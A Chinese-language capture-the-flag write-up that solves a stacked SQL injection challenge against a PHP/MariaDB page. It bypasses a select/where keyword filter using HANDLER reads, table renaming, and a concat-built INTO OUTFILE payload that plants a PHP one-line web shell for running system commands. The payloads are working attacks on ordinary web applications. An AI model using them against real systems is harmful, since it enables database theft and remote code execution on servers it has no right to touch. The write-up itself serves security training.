根据题目得该题目是关于sql
注入的,当提提交查询1
时,得到array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" }
。
提交查询为1'
时候报错:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
,从报错内容可以得知正确的注入方式为1'
,进而提交1' or 1=1#
得到:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
接下来我们根据注入来猜测相应的列的数量,根据order by
语句,只有当注入语句为1' order by 2#
时显示正常,故可猜测该表有两列,接下来可以尝试爆出注入回显,通过提交1' union select 1,2#
得到提示语句:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
表明该表存在关键字过滤,将select、update、delete
等关键词进行了过滤,所以可以考虑使用堆叠注入+show
语句,查看所有数据库,提交语句1';show databases;
得:
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}
得到存在hahaha、ctftraining、information_schema、musql、performance_schema、supersqli、test
这几个数据库,接下来查看数据表,使用payload:1';show tables;#
得:
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
得到这个数据表,接下来使用payload:1’;show columns from `1919810931114514`;#
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
注意,此处的列名由于是纯数字,所以应该使用反引号 ` 将其引起来,最后得到一个为flag
的列,接下来由于无法查存该flag
的值,所以有两种方法可供参考:
-
利用
handler
语句原理解释: HANDLER语句使我们能够一行一行的浏览一个表中的数据,handler 语句并不具备 select 语句的所有功能,它是 MySQL 专用的语句,并没有包含到SQL标准中。
语法:
打开句柄:handler handler_table open; 查看数据:handler handler_table read first/next/prev/last; 关闭句柄:handler handler_table close;
payload——“1’;handler `1919810931114514` open;handler `1919810931114514` read first;#”
-
利用重命名方法
因为当前数据库下只有两张表,所以我们不难判断出查询语句大概是这样select id,data from words where id=,所以我们的思路就是将words表换成其他表,再将数字表换成words表,新 words 表添加新的列名 id 默认值为1,将 flag 改名为 data
payload——“1’;rename table words to word1;rename table
1919810931114514
to words;alter table words add id int(10) default 1;alter table words change flag data varchar(100);#”然后 “-1’;show tables;show columns from words;#” 看一下有没有成功
-
利用命令执行
1、利用concat将select拆分从而绕过关键词select过滤
2、利用char将ASCII码46转换为
.
从而绕过关键词.
过滤3、利用MySQL into outputfile给网站留后门:利用Mysql into outfile给网站留后门(这里猜测绝对路径是一般ubuntu服务器网站根目录
/var/www/html
)4、利用一句话木马执行任意mysql命令(反引号中的内容会被当做bash命令执行然后结果再传回来执行)
payload:
/?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla; /1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"
最后得到 Flag